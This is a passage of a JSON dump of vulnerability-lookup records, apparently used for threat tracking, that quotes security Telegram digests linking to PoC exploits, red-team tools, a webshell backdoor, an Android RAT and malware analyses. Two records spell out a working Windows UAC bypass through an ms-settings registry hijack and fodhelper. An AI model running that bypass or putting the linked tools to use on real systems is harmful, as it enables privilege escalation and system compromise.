"5dda0677-2444-4610-9164-fd29223d0d4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28321", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-11T08:00:07.421021Z"}, {"uuid": "e02f5cf8-e29d-4460-a2ae-636bd69a4ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28322", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-11T08:00:07.466925Z"}, {"uuid": "196bb202-516f-4e61-ae9a-edc3ae9e264c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28313", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3040", "content": "CVE-2021-27905:\nApache Solr SSRF (PoC)\nhttps://github.com/henry4e36/solr-ssrf\n\nRed Team Tactics:\n1. Thread and Process State Change a.k.a.:\nEDR Hook Evasion Method #4512\nhttps://windows-internals.com/thread-and-process-state-change\n2. A vulnerability exploitation tool for SVN source disclosure\n// support various versions of SVN\nhttps://github.com/X3NNY/SvnFuck\n\nMalware analysis:\n1. Best practices for handling new mining virus Sysrv-hello\nhttps://help.aliyun.com/document_detail/196163.html\n2. Binary Data Hiding in VB6 Executables\nhttps://decoded.avast.io/davidzimmer/binary-data-hiding-in-vb6-executables\n\nOffensive security:\nBrowser Exploitation on Windows -\nUnderstanding Use-After-Free Vulnerabilities\nhttps://connormcgarr.github.io/browser1\n\nThreat Research:\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2026-09-11T08:00:07.515690Z"}, {"uuid": "277ac4ee-4b84-4094-b11c-876ceb913c6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-11T09:00:04.596475Z"}, {"uuid": "65e1b619-0659-4fac-876b-77a2cc644daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-11T09:00:04.643108Z"}, {"uuid": "fb680c3c-7459-4c7c-88ae-ef512ecef40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-11T09:00:04.842708Z"}, {"uuid": "260a1c35-ac5f-4ddc-aacc-58437ea087fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-11T09:00:04.882344Z"}, {"uuid": "a94e4418-64a5-4ab3-bdc6-0454e37d7753", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-11T09:00:04.922034Z"}, {"uuid": "a5e58ee4-492a-4959-bb40-648ed0ae2eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-11T09:00:05.096906Z"}, {"uuid": "82cc1c5c-266c-47ff-a2a5-5eb95949dc47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-11T09:00:05.140012Z"}, {"uuid": "d885df87-0f44-45a0-a223-53bb59802a6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2993", "content": "1195777 chrome 0day\nhttps://github.com/avboy1337/1195777-chrome0day\n+ Cobalt Strike Chrome 0day:\nhttps://mp.weixin.qq.com/s/LOpAu8vs8ob85W3sCmXMew\n\nAnalytics\nmost exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\n\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\n\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\n\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\n\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\n\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\n\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability", "creation_timestamp": "2026-09-11T09:00:05.195918Z"}, {"uuid": "bdd9a89d-0044-47e8-8d31-06f3bf4e2e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2948", "content": "Threat Research\ud83d\ude42\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms\n\nBlue Team Techniques\ud83e\udd13\nAll Things Symantec Endpoint Protection:\nlogs, VBNs, ccSubSDK database, registry data\nhttps://malwaremaloney.blogspot.com/p/all-things-symantec.html\n\nRed Team Tactics:\n1. Android RAT with web panel and undetectable App\nhttps://github.com/Th30neAnd0nly/Ohm\n2. UAC bypass in 2 lines:\n...\nNew-Item -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Value cmd.exe -Force \n\nNew-ItemProperty -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Name DelegateExecute -PropertyType String -Force\n...\ncmd -> fodhelper\n\n3. An Evil and Smart Bot for Enslaving Windows\nhttps://github.com/wildonion/katyusha\n\nCVE-2021-26788:\nRemote DoS on CycloneTCP\n(a fully-featured open source IPv4/IPv6 stack for embedded systems) (PoC)\nhttps://blog.quarkslab.com/remote-denial-of-service-on-cyclonetcp-cve-2021-26788.html", "creation_timestamp": "2026-09-11T10:00:05.431308Z"}, {"uuid": "c87c5cd4-e4a4-479b-a82b-eb85beb61f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28797", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2945", "content": "CVE-2021-29627:\nIn FreeBSD 13.0-STABLE < n245050, 12.2-STABLE < r369525, 13.0-RC4 < p0, 12.2-RELEASE < p6, listening socket accept filters implementing the accf_create callback incorrectly freed a process supplied argument string. Additional operations on the socket can lead to a double free/use after free (1-day PoC)\nhttps://github.com/raymontag/cve-2021-29627\n\nRed Team Tactics:\n1. Unauthenticated Account Takeover Through Forget Password\nhttps://infosecwriteups.com/unauthenticated-account-takeover-through-forget-password-c120b4c1141d\n2. A webshell that can bypass some system security\nhttps://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor\n\nThreat Research:\nMemory corruption vulnerability in QNAP QTS\u2019s Surveillance Station plugin leads to a pre-auth RCE\n(PoC for CVE-2021-28797)\nhttps://ssd-disclosure.com/ssd-advisory-qnap-pre-auth-cgi_find_parameter-rce", "creation_timestamp": "2026-09-11T10:00:05.467262Z"}, {"uuid": "78c2bd91-5755-4cc9-b8b6-804b6818a019", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28460", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2972", "content": "exploit:\nCVE-2021-29447:\nWordPress 5.6-5.7 - Authenticated XXE (PoC)\nhttps://github.com/motikan2010/CVE-2021-29447\n\nRed Team Tactics:\n1. sJET allows an easy exploitation of insecure configured JMX services (siberas JMX Exploitation Toolkit)\nhttps://github.com/siberas/sjet\n2. Jenkins exploit for Servers without authentication\ud83d\ude04\nhttps://github.com/Hacker5preme/jenkins-exploit\n\nThreat Research:\nMultiple RCE vulnerabilities in Microsoft Azure Sphere (PoCs for CVE-2021-27047, CVE-2021-27080,\nCVE-2021-28460)\nhttps://blog.talosintelligence.com/2021/04/vuln-spotlight-azure-sphere-april-2021.html?m=1\n\nOffensive security:\n1. mod_security bypass\ud83d\ude03\nhttps://y000o.medium.com/fun-sql-injection-mod-security-bypass-644b54b0c445\n2. XSS in the process of creating a File/Folder in iCloud Drive\nhttps://fernale.blogspot.com/p/an-interesting-xss-exploit-that-i-found.html?m=1", "creation_timestamp": "2026-09-11T10:00:11.322162Z"}, {"uuid": "b7abe1e2-0931-4b70-9ccf-cb26d80ed2f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2786", "content": "Threat Research:\nSAML XML Injection + Example Exploits\n(Attribute injections and InResponseTo injections)\nhttps://research.nccgroup.com/2021/03/29/saml-xml-injection/#AttributeInjections\n\nCVE-2021-28918:\nServer-Side Request Forgery (SSRF)\nin Netmask package for npm <=1.1.0 (PoC)\nhttps://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md\n\nMalware analysis:\nJumping Into Shellcode\nhttps://isc.sans.edu/forums/diary/Jumping+into+Shellcode/27256\n\nDebugging System with DCI and Windbg:\nhttp://standa-note.blogspot.com/2021/03/debugging-system-with-dci-and-windbg.html?m=1\n]-> The report and the exploit of CVE-2021-26943, the kernel-to-SMM local privilege escalation vulnerability in ASUS UX360CA BIOS version 303:\nhttps://github.com/tandasat/SmmExploit\n\nHow the Web Audio API is used for browser fingerprinting\nhttps://fingerprintjs.com/blog/audio-fingerprinting\n]-> Browser fingerprinting library with the highest accuracy and stability:\nhttps://github.com/fingerprintjs/fingerprintjs", "creation_timestamp": "2026-09-11T14:00:06.282098Z"}, {"uuid": "5810fd64-5abd-4bf6-bbe4-1a97e1b44bff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2948", "content": "Threat Research\ud83d\ude42\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms\n\nBlue Team Techniques\ud83e\udd13\nAll Things Symantec Endpoint Protection:\nlogs, VBNs, ccSubSDK database, registry data\nhttps://malwaremaloney.blogspot.com/p/all-things-symantec.html\n\nRed Team Tactics:\n1. Android RAT with web panel and undetectable App\nhttps://github.com/Th30neAnd0nly/Ohm\n2. UAC bypass in 2 lines:\n...\nNew-Item -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Value cmd.exe -Force \n\nNew-ItemProperty -Path HKCU:\\Software\\Classes\\ms-settings\\shell\\open\\command -Name DelegateExecute -PropertyType String -Force\n...\ncmd -> fodhelper\n\n3. An Evil and Smart Bot for Enslaving Windows\nhttps://github.com/wildonion/katyusha\n\nCVE-2021-26788:\nRemote DoS on CycloneTCP\n(a fully-featured open source IPv4/IPv6 stack for embedded systems) (PoC)\nhttps://blog.quarkslab.com/remote-denial-of-service-on-cyclonetcp-cve-2021-26788.html", "creation_timestamp": "2026-09-12T00:00:43.062010Z"}, {"uuid": "7cba7242-d875-4811-8438-243cf023544a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2786", "content": "Threat Research:\nSAML XML Injection + Example Exploits\n(Attribute injections and InResponseTo injections)\nhttps://research.nccgroup.com/2021/03/29/saml-xml-injection/#AttributeInjections\n\nCVE-2021-28918:\nServer-Side Request Forgery (SSRF)\nin Netmask package for npm <=1.1.0 (PoC)\nhttps://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md\n\nMalware analysis:\nJumping Into Shellcode\nhttps://isc.sans.edu/forums/diary/Jumping+into+Shellcode/27256\n\nDebugging System with DCI and Windbg:\nhttp://standa-note.blogspot.com/2021/03/debugging-system-with-dci-and-windbg.html?m=1\n]-> The report and the exploit of CVE-2021-26943, the kernel-to-SMM local privilege escalation vulnerability in ASUS UX360CA BIOS version 303:\nhttps://github.com/tandasat/SmmExploit\n\nHow the Web Audio API is used for browser fingerprinting\nhttps://fingerprintjs.com/blog/audio-fingerprinting\n]-> Browser fingerprinting library with the highest accuracy and stability:\nhttps://github.com/fingerprintjs/fingerprintjs", "creation_timestamp": "2026-09-12T00:00:41.205639Z"}, {"uuid": "52f9f58c-bacd-41ab-922f-00284e732059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28797", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2945", "content": "CVE-2021-29627:\nIn FreeBSD 13.0-STABLE < n245050, 12.2-STABLE < r369525, 13.0-RC4 < p0, 12.2-RELEASE < p6, listening socket accept filters implementing the accf_create callback incorrectly freed a process supplied argument string. Additional operations on the socket can lead to a double free/use after free (1-day PoC)\nhttps://github.com/raymontag/cve-2021-29627\n\nRed Team Tactics:\n1. Unauthenticated Account Takeover Through Forget Password\nhttps://infosecwriteups.com/unauthenticated-account-takeover-through-forget-password-c120b4c1141d\n2. A webshell that can bypass some system security\nhttps://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor\n\nThreat Research:\nMemory corruption vulnerability in QNAP QTS\u2019s Surveillance Station plugin leads to a pre-auth RCE\n(PoC for CVE-2021-28797)\nhttps://ssd-disclosure.com/ssd-advisory-qnap-pre-auth-cgi_find_parameter-rce", "creation_timestamp": "2026-09-12T00:00:43.113998Z"}, {"uuid": "3cdb7757-f8c3-4f92-a941-78226fd93ed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28460", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2972", "content": "exploit:\nCVE-2021-29447:\nWordPress 5.6-5.7 - Authenticated XXE (PoC)\nhttps://github.com/motikan2010/CVE-2021-29447\n\nRed Team Tactics:\n1. sJET allows an easy exploitation of insecure configured JMX services (siberas JMX Exploitation Toolkit)\nhttps://github.com/siberas/sjet\n2. Jenkins exploit for Servers without authentication\ud83d\ude04\nhttps://github.com/Hacker5preme/jenkins-exploit\n\nThreat Research:\nMultiple RCE vulnerabilities in Microsoft Azure Sphere (PoCs for CVE-2021-27047, CVE-2021-27080,\nCVE-2021-28460)\nhttps://blog.talosintelligence.com/2021/04/vuln-spotlight-azure-sphere-april-2021.html?m=1\n\nOffensive security:\n1. mod_security bypass\ud83d\ude03\nhttps://y000o.medium.com/fun-sql-injection-mod-security-bypass-644b54b0c445\n2. XSS in the process of creating a File/Folder in iCloud Drive\nhttps://fernale.blogspot.com/p/an-interesting-xss-exploit-that-i-found.html?m=1", "creation_timestamp": "2026-09-12T00:00:43.958742Z"}, {"uuid": "7908168f-097a-4518-938a-26176de51108", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html\n\nMalware analysis:\n1. HackBoss: A cryptocurrency-stealing malware distributed through Telegram\nhttps://decoded.avast.io/romanalinkeova/hackboss-a-cryptocurrency-stealing-malware-distributed-through-telegram\n2. Carbine Loader Cryptojacking Campaign\nhttps://www.lacework.com/carbine-loader-cryptojacking-campaign\n\nRed Team Tactics\n1. Buffer overflow fuzzer and exploit script\nhttps://github.com/A1-exe/bufferoverflow\n2. PCI Express DIY hacking toolkit for Xilinx SP605\nhttps://github.com/Cr4sh/s6_pcie_microblaze\n\n\nThreat Research:\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2026-09-12T00:00:44.447433Z"}, {"uuid": "d6ac0572-bf55-4cac-b75b-a27ee2206b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/cissp/2986", "content": "exploit\nCVE-2021-29349:\nCSRF to remove all messages in Mahara 20.10 (PoC)\nhttps://github.com/Vulnmachines/CVE-2021-29349\n\nOffensive security:\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations 